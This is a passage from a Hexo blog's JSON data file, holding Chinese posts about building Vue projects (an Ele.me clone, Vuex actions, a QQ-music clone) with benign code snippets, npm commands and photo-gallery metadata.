tools</h2><p>暂时没用上</p>\n<h2 id=\"react-native\"><a href=\"#react-native\" class=\"headerlink\" title=\"react-native\"></a>react-native</h2><p>也没用上</p>\n<h2 id=\"settings-sync\"><a href=\"#settings-sync\" class=\"headerlink\" title=\"settings sync\"></a>settings sync</h2><p>插件备份工具，神器</p>\n<h2 id=\"background\"><a href=\"#background\" class=\"headerlink\" title=\"background\"></a>background</h2><p>一款美化插件配置如下：</p>\n<pre><code class=\"js\">&quot;background.useDefault&quot;: false,\n    &quot;background.enabled&quot;: true,\n    &quot;background.customImages&quot;: [\n        &quot;file:///Users/mac/Desktop/improve/1.jpg&quot;\n    ],\n    &quot;background.style&quot;: {\n        &quot;opacity&quot;: 0.1,\n        &quot;width&quot;: &quot;1600px&quot;,\n        &quot;height&quot;: &quot;1150px&quot;\n    }\n</code></pre>\n<blockquote>\n<p>ps: 超级超级吃 CPU 慎用！！</p>\n</blockquote>\n"},{"title":"vue-eleme","date":"2017-07-05T13:51:12.000Z","_content":"\n### 准备工作\n* vue-cli\n* better-scroll\n* node.js\n* 电脑（废话）\n* 在dev-server中配置本地 data.json API接口\n\n### header组件\n\n#### star组件\n* 该项目中多处用到 星星 ，所以可以将它整合成一个组件，以复用\n* 用 import 引入到父组件，给该组件传入 seller.score 评分数据\n```\nitemClasses () {\n      let result = []\n      let score = Math.floor(this.score * 2) / 2\n      let hasDecimal = score % 1 !== 0\n      let integer = Math.floor(score)\n      for (let i = 0; i < integer; i++) {\n        result.push(CLS_ON)\n      }\n      if (hasDecimal) {\n        result.push(CLS_HELF)\n      }\n      while (result.length < STARLENG) {\n        result.push(CLS_OFF)\n      }\n      return result\n    }\n```\n> 分别获取它们的整数，小数，和无\n\n#### sticky footer 布局\n* 为了防止内容超过容器，图标遮挡内容的现象\n\n* 实现原理就是设置一个容器，将该容器的最小大小设置为100%，容器外面再设一个容器，给他一个负的 margin 或者是 padding，将它固定在容器的最下方\n\n>可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]\n\n### goods 组件\n\n#### nextTrick () 方法\n* 该函数的意思是，当一个 DOM 刚刚 create 的时候，因为 DOM 会在当前 tick里面的代码全部执行完再更新，所以不能做到在修改数据之后 DOM 更新之后再执行，要保证 DOM 更新之后再执行某一块代码，就必须放在下一次循环更新里面，，这样 DOM 更新后， 就会立即执行这块的代码\n！()[https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]\n\n#### better-scroll 插件\n  > 可以在 npm 包管理器中下载\n* 使用方法就是直接给你需要滚动的列表上创建一个实例，该实例的调用要放在nextTrick（）中，因为触屏滚动每次都是需要更新 dom 的\n\n#### refs 和 el 数据传递\n* refs就是将子组件的数据传递给父组件，el就是 elment，指的是该实例的 dom 分支\n\n\n### API 接口配置\n新建一个 express.Router() 实例，给它们分配路由路径，记得加入一个 errno ，判断是否正确获取数据\n>这个时候就发现 node 是多么的强大，前后端全包了~\n\n### shopCart 组件\n指的是底部购物车组件，这个部分比较麻烦的是数据绑定，因为我们需要绑定一个数据流，点击添加商品，判断商品是否大于起送价，否则返回空，按钮不可点击，购物车头部无红色小标签，是则按钮变为绿色，购物logo变成蓝色，出现红色计数标签。\n\n### cartcontral 组件\n实现的思路是，点击添加会改变shopcart里的数据，双向绑定，这里用到了 $emit 就是将子路由中的数据传递给父组件，和ref的原理很像，父组件再通过监听事件得到子组件的数据。","source":"_posts/vue-eleme.md","raw":"---\ntitle: vue-eleme\ndate: 2017-07-05 21:51:12\ntags: [vue, nodeJS]\ncategories: web项目\n---\n\n### 准备工作\n* vue-cli\n* better-scroll\n* node.js\n* 电脑（废话）\n* 在dev-server中配置本地 data.json API接口\n\n### header组件\n\n#### star组件\n* 该项目中多处用到 星星 ，所以可以将它整合成一个组件，以复用\n* 用 import 引入到父组件，给该组件传入 seller.score 评分数据\n```\nitemClasses () {\n      let result = []\n      let score = Math.floor(this.score * 2) / 2\n      let hasDecimal = score % 1 !== 0\n      let integer = Math.floor(score)\n      for (let i = 0; i < integer; i++) {\n        result.push(CLS_ON)\n      }\n      if (hasDecimal) {\n        result.push(CLS_HELF)\n      }\n      while (result.length < STARLENG) {\n        result.push(CLS_OFF)\n      }\n      return result\n    }\n```\n> 分别获取它们的整数，小数，和无\n\n#### sticky footer 布局\n* 为了防止内容超过容器，图标遮挡内容的现象\n\n* 实现原理就是设置一个容器，将该容器的最小大小设置为100%，容器外面再设一个容器，给他一个负的 margin 或者是 padding，将它固定在容器的最下方\n\n>可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]\n\n### goods 组件\n\n#### nextTrick () 方法\n* 该函数的意思是，当一个 DOM 刚刚 create 的时候，因为 DOM 会在当前 tick里面的代码全部执行完再更新，所以不能做到在修改数据之后 DOM 更新之后再执行，要保证 DOM 更新之后再执行某一块代码，就必须放在下一次循环更新里面，，这样 DOM 更新后， 就会立即执行这块的代码\n！()[https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]\n\n#### better-scroll 插件\n  > 可以在 npm 包管理器中下载\n* 使用方法就是直接给你需要滚动的列表上创建一个实例，该实例的调用要放在nextTrick（）中，因为触屏滚动每次都是需要更新 dom 的\n\n#### refs 和 el 数据传递\n* refs就是将子组件的数据传递给父组件，el就是 elment，指的是该实例的 dom 分支\n\n\n### API 接口配置\n新建一个 express.Router() 实例，给它们分配路由路径，记得加入一个 errno ，判断是否正确获取数据\n>这个时候就发现 node 是多么的强大，前后端全包了~\n\n### shopCart 组件\n指的是底部购物车组件，这个部分比较麻烦的是数据绑定，因为我们需要绑定一个数据流，点击添加商品，判断商品是否大于起送价，否则返回空，按钮不可点击，购物车头部无红色小标签，是则按钮变为绿色，购物logo变成蓝色，出现红色计数标签。\n\n### cartcontral 组件\n实现的思路是，点击添加会改变shopcart里的数据，双向绑定，这里用到了 $emit 就是将子路由中的数据传递给父组件，和ref的原理很像，父组件再通过监听事件得到子组件的数据。","slug":"vue-eleme","published":1,"updated":"2018-01-22T06:08:49.837Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5t0029vzqhw583ttnz","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"准备工作\"><a href=\"#准备工作\" class=\"headerlink\" title=\"准备工作\"></a>准备工作</h3><ul>\n<li>vue-cli</li>\n<li>better-scroll</li>\n<li>node.js</li>\n<li>电脑（废话）</li>\n<li>在dev-server中配置本地 data.json API接口</li>\n</ul>\n<h3 id=\"header组件\"><a href=\"#header组件\" class=\"headerlink\" title=\"header组件\"></a>header组件</h3><h4 id=\"star组件\"><a href=\"#star组件\" class=\"headerlink\" title=\"star组件\"></a>star组件</h4><ul>\n<li>该项目中多处用到 星星 ，所以可以将它整合成一个组件，以复用</li>\n<li>用 import 引入到父组件，给该组件传入 seller.score 评分数据<pre><code>itemClasses () {\n    let result = []\n    let score = Math.floor(this.score * 2) / 2\n    let hasDecimal = score % 1 !== 0\n    let integer = Math.floor(score)\n    for (let i = 0; i &lt; integer; i++) {\n      result.push(CLS_ON)\n    }\n    if (hasDecimal) {\n      result.push(CLS_HELF)\n    }\n    while (result.length &lt; STARLENG) {\n      result.push(CLS_OFF)\n    }\n    return result\n  }\n</code></pre><blockquote>\n<p>分别获取它们的整数，小数，和无</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"sticky-footer-布局\"><a href=\"#sticky-footer-布局\" class=\"headerlink\" title=\"sticky footer 布局\"></a>sticky footer 布局</h4><ul>\n<li><p>为了防止内容超过容器，图标遮挡内容的现象</p>\n</li>\n<li><p>实现原理就是设置一个容器，将该容器的最小大小设置为100%，容器外面再设一个容器，给他一个负的 margin 或者是 padding，将它固定在容器的最下方</p>\n</li>\n</ul>\n<blockquote>\n<p>可以参考我这篇(文章)[<a href=\"http://jzxer.cn/sticky-footer.html]\" target=\"_blank\" rel=\"noopener\">http://jzxer.cn/sticky-footer.html]</a></p>\n</blockquote>\n<h3 id=\"goods-组件\"><a href=\"#goods-组件\" class=\"headerlink\" title=\"goods 组件\"></a>goods 组件</h3><h4 id=\"nextTrick-方法\"><a href=\"#nextTrick-方法\" class=\"headerlink\" title=\"nextTrick () 方法\"></a>nextTrick () 方法</h4><ul>\n<li>该函数的意思是，当一个 DOM 刚刚 create 的时候，因为 DOM 会在当前 tick里面的代码全部执行完再更新，所以不能做到在修改数据之后 DOM 更新之后再执行，要保证 DOM 更新之后再执行某一块代码，就必须放在下一次循环更新里面，，这样 DOM 更新后， 就会立即执行这块的代码<br>！()[<a href=\"https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]\" target=\"_blank\" rel=\"noopener\">https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]</a></li>\n</ul>\n<h4 id=\"better-scroll-插件\"><a href=\"#better-scroll-插件\" class=\"headerlink\" title=\"better-scroll 插件\"></a>better-scroll 插件</h4><blockquote>\n<p>可以在 npm 包管理器中下载</p>\n<ul>\n<li>使用方法就是直接给你需要滚动的列表上创建一个实例，该实例的调用要放在nextTrick（）中，因为触屏滚动每次都是需要更新 dom 的</li>\n</ul>\n</blockquote>\n<h4 id=\"refs-和-el-数据传递\"><a href=\"#refs-和-el-数据传递\" class=\"headerlink\" title=\"refs 和 el 数据传递\"></a>refs 和 el 数据传递</h4><ul>\n<li>refs就是将子组件的数据传递给父组件，el就是 elment，指的是该实例的 dom 分支</li>\n</ul>\n<h3 id=\"API-接口配置\"><a href=\"#API-接口配置\" class=\"headerlink\" title=\"API 接口配置\"></a>API 接口配置</h3><p>新建一个 express.Router() 实例，给它们分配路由路径，记得加入一个 errno ，判断是否正确获取数据</p>\n<blockquote>\n<p>这个时候就发现 node 是多么的强大，前后端全包了~</p>\n</blockquote>\n<h3 id=\"shopCart-组件\"><a href=\"#shopCart-组件\" class=\"headerlink\" title=\"shopCart 组件\"></a>shopCart 组件</h3><p>指的是底部购物车组件，这个部分比较麻烦的是数据绑定，因为我们需要绑定一个数据流，点击添加商品，判断商品是否大于起送价，否则返回空，按钮不可点击，购物车头部无红色小标签，是则按钮变为绿色，购物logo变成蓝色，出现红色计数标签。</p>\n<h3 id=\"cartcontral-组件\"><a href=\"#cartcontral-组件\" class=\"headerlink\" title=\"cartcontral 组件\"></a>cartcontral 组件</h3><p>实现的思路是，点击添加会改变shopcart里的数据，双向绑定，这里用到了 $emit 就是将子路由中的数据传递给父组件，和ref的原理很像，父组件再通过监听事件得到子组件的数据。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"准备工作\"><a href=\"#准备工作\" class=\"headerlink\" title=\"准备工作\"></a>准备工作</h3><ul>\n<li>vue-cli</li>\n<li>better-scroll</li>\n<li>node.js</li>\n<li>电脑（废话）</li>\n<li>在dev-server中配置本地 data.json API接口</li>\n</ul>\n<h3 id=\"header组件\"><a href=\"#header组件\" class=\"headerlink\" title=\"header组件\"></a>header组件</h3><h4 id=\"star组件\"><a href=\"#star组件\" class=\"headerlink\" title=\"star组件\"></a>star组件</h4><ul>\n<li>该项目中多处用到 星星 ，所以可以将它整合成一个组件，以复用</li>\n<li>用 import 引入到父组件，给该组件传入 seller.score 评分数据<pre><code>itemClasses () {\n    let result = []\n    let score = Math.floor(this.score * 2) / 2\n    let hasDecimal = score % 1 !== 0\n    let integer = Math.floor(score)\n    for (let i = 0; i &lt; integer; i++) {\n      result.push(CLS_ON)\n    }\n    if (hasDecimal) {\n      result.push(CLS_HELF)\n    }\n    while (result.length &lt; STARLENG) {\n      result.push(CLS_OFF)\n    }\n    return result\n  }\n</code></pre><blockquote>\n<p>分别获取它们的整数，小数，和无</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"sticky-footer-布局\"><a href=\"#sticky-footer-布局\" class=\"headerlink\" title=\"sticky footer 布局\"></a>sticky footer 布局</h4><ul>\n<li><p>为了防止内容超过容器，图标遮挡内容的现象</p>\n</li>\n<li><p>实现原理就是设置一个容器，将该容器的最小大小设置为100%，容器外面再设一个容器，给他一个负的 margin 或者是 padding，将它固定在容器的最下方</p>\n</li>\n</ul>\n<blockquote>\n<p>可以参考我这篇(文章)[<a href=\"http://jzxer.cn/sticky-footer.html]\" target=\"_blank\" rel=\"noopener\">http://jzxer.cn/sticky-footer.html]</a></p>\n</blockquote>\n<h3 id=\"goods-组件\"><a href=\"#goods-组件\" class=\"headerlink\" title=\"goods 组件\"></a>goods 组件</h3><h4 id=\"nextTrick-方法\"><a href=\"#nextTrick-方法\" class=\"headerlink\" title=\"nextTrick () 方法\"></a>nextTrick () 方法</h4><ul>\n<li>该函数的意思是，当一个 DOM 刚刚 create 的时候，因为 DOM 会在当前 tick里面的代码全部执行完再更新，所以不能做到在修改数据之后 DOM 更新之后再执行，要保证 DOM 更新之后再执行某一块代码，就必须放在下一次循环更新里面，，这样 DOM 更新后， 就会立即执行这块的代码<br>！()[<a href=\"https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]\" target=\"_blank\" rel=\"noopener\">https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]</a></li>\n</ul>\n<h4 id=\"better-scroll-插件\"><a href=\"#better-scroll-插件\" class=\"headerlink\" title=\"better-scroll 插件\"></a>better-scroll 插件</h4><blockquote>\n<p>可以在 npm 包管理器中下载</p>\n<ul>\n<li>使用方法就是直接给你需要滚动的列表上创建一个实例，该实例的调用要放在nextTrick（）中，因为触屏滚动每次都是需要更新 dom 的</li>\n</ul>\n</blockquote>\n<h4 id=\"refs-和-el-数据传递\"><a href=\"#refs-和-el-数据传递\" class=\"headerlink\" title=\"refs 和 el 数据传递\"></a>refs 和 el 数据传递</h4><ul>\n<li>refs就是将子组件的数据传递给父组件，el就是 elment，指的是该实例的 dom 分支</li>\n</ul>\n<h3 id=\"API-接口配置\"><a href=\"#API-接口配置\" class=\"headerlink\" title=\"API 接口配置\"></a>API 接口配置</h3><p>新建一个 express.Router() 实例，给它们分配路由路径，记得加入一个 errno ，判断是否正确获取数据</p>\n<blockquote>\n<p>这个时候就发现 node 是多么的强大，前后端全包了~</p>\n</blockquote>\n<h3 id=\"shopCart-组件\"><a href=\"#shopCart-组件\" class=\"headerlink\" title=\"shopCart 组件\"></a>shopCart 组件</h3><p>指的是底部购物车组件，这个部分比较麻烦的是数据绑定，因为我们需要绑定一个数据流，点击添加商品，判断商品是否大于起送价，否则返回空，按钮不可点击，购物车头部无红色小标签，是则按钮变为绿色，购物logo变成蓝色，出现红色计数标签。</p>\n<h3 id=\"cartcontral-组件\"><a href=\"#cartcontral-组件\" class=\"headerlink\" title=\"cartcontral 组件\"></a>cartcontral 组件</h3><p>实现的思路是，点击添加会改变shopcart里的数据，双向绑定，这里用到了 $emit 就是将子路由中的数据传递给父组件，和ref的原理很像，父组件再通过监听事件得到子组件的数据。</p>\n"},{"title":"vuex 使用技巧","date":"2017-06-15T10:36:30.000Z","_content":"\n## Action\n提供方法和API请求,类似于mutation\n> mutation  修改 state 只能是同步的\n* action 充满了各种异步 api\n```\nactions: {\n\tincrement (context) {\n    \tcontext.commit('increment')\n   }\n}\n另一种写法\nincrement({commit}) {\n\tcommit('increment')\n}\n```\n\n## 分发 Action\n> store.dispatch('increment')\n","source":"_posts/vuex-模块介绍.md","raw":"---\ntitle: vuex 使用技巧\ndate: 2017-06-15 18:36:30\ntags: [vuex]\ncategories: vue\n---\n\n## Action\n提供方法和API请求,类似于mutation\n> mutation  修改 state 只能是同步的\n* action 充满了各种异步 api\n```\nactions: {\n\tincrement (context) {\n    \tcontext.commit('increment')\n   }\n}\n另一种写法\nincrement({commit}) {\n\tcommit('increment')\n}\n```\n\n## 分发 Action\n> store.dispatch('increment')\n","slug":"vuex-模块介绍","published":1,"updated":"2018-01-22T06:09:30.647Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5v002dvzqhe0h96l38","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"Action\"><a href=\"#Action\" class=\"headerlink\" title=\"Action\"></a>Action</h2><p>提供方法和API请求,类似于mutation</p>\n<blockquote>\n<p>mutation  修改 state 只能是同步的</p>\n<ul>\n<li>action 充满了各种异步 api<pre><code>actions: {\n  increment (context) {\n      context.commit(&#39;increment&#39;)\n }\n}\n另一种写法\nincrement({commit}) {\n  commit(&#39;increment&#39;)\n}\n</code></pre></li>\n</ul>\n</blockquote>\n<h2 id=\"分发-Action\"><a href=\"#分发-Action\" class=\"headerlink\" title=\"分发 Action\"></a>分发 Action</h2><blockquote>\n<p>store.dispatch(‘increment’)</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"Action\"><a href=\"#Action\" class=\"headerlink\" title=\"Action\"></a>Action</h2><p>提供方法和API请求,类似于mutation</p>\n<blockquote>\n<p>mutation  修改 state 只能是同步的</p>\n<ul>\n<li>action 充满了各种异步 api<pre><code>actions: {\n  increment (context) {\n      context.commit(&#39;increment&#39;)\n }\n}\n另一种写法\nincrement({commit}) {\n  commit(&#39;increment&#39;)\n}\n</code></pre></li>\n</ul>\n</blockquote>\n<h2 id=\"分发-Action\"><a href=\"#分发-Action\" class=\"headerlink\" title=\"分发 Action\"></a>分发 Action</h2><blockquote>\n<p>store.dispatch(‘increment’)</p>\n</blockquote>\n"},{"title":"vue高仿qq音乐官网","date":"2017-06-15T10:36:30.000Z","top":true,"_content":"\n一直想做一个vue项目 然后呢 我就做了\n\n## 效果预览\n\n部分地方不全部根据原版，也有自由发挥的，目前功能模块比较简陋，如果显示不完整，请下载以下api文件并打开\n>  [网易云音乐API](https://github.com/Binaryify/NeteaseCloudMusicApi)\n\n\n> 项目地址：[github](https://github.com/j710328466/vue-qqmusic)\n\n> 预览地址：[demo](http://182.254.147.168:8564/#/)\n\n## Build Setup\n\n\n```\n# install dependencies\ncnpm i\n(可以用cnpm或yarn，更方便快捷，你值得拥有)\n\n# serve with hot reload at localhost:8564\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# 网易云API部署 listen localhost:3000\nnpm run start \n```\n##  技术栈\n\n*  vue(数据绑定)\n*  vue-router\n*  vuex(管理组件状态，实现组件通信）\n*  webpack(打包工具)\n*  scss（原来想用stylus,回头看看我都快写完了...）\n*  axios（我等下要重点讲这****）\n*  组件库: element-UI(本来想用muse-UI,感觉那个更cool，下次吧..) \n*  API: 网易云音乐API(仿qq音乐我用网易云音乐的东西，你怕不怕...)\n\n## 核心功能组件的实现\n\n### 搜索功能\n\n![](https://ooo.0o0.ooo/2017/06/14/594135198d975.gif)\n\n###  播放功能\n\n![](https://ooo.0o0.ooo/2017/06/14/5941364de751e.gif)\n    (播放页面正在完善中，样式只是大概，待细化...)\n\n### 跳转功能\n    \n![](https://ooo.0o0.ooo/2017/06/14/59415a8cd0df7.gif)\n    (目前子目录只开通歌手列表)\n\n\n## 自己挖的坑，自己埋\n\n### vuex的模块应用\n\n*  一开始我并没有使用vuex，因为我觉得目前这个项目比较小，并不需要它来管理数据，毕竟vuex针对大项目来说确实很好用，但是后来考虑到如果后期该项目我还要    维护，数据量一大，还是要重新分类数据，所以中途某些地方插入了vuex的使用，这就很大一部分影响了项目进行的进度。（目前只用到action和state）\n\n### qq音乐的轮播图\n*  不用说，qq音乐这个网站的页面我是真的挺喜欢，不光是他的设计，页面的布局也很美观，在控制台调试的时候可以看看它的结构，非常有层次而富有美感，即使加上    一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦，不是说做不出来，因为这是第一次上传的项目，我想先将大概的结构完善一下，后期再    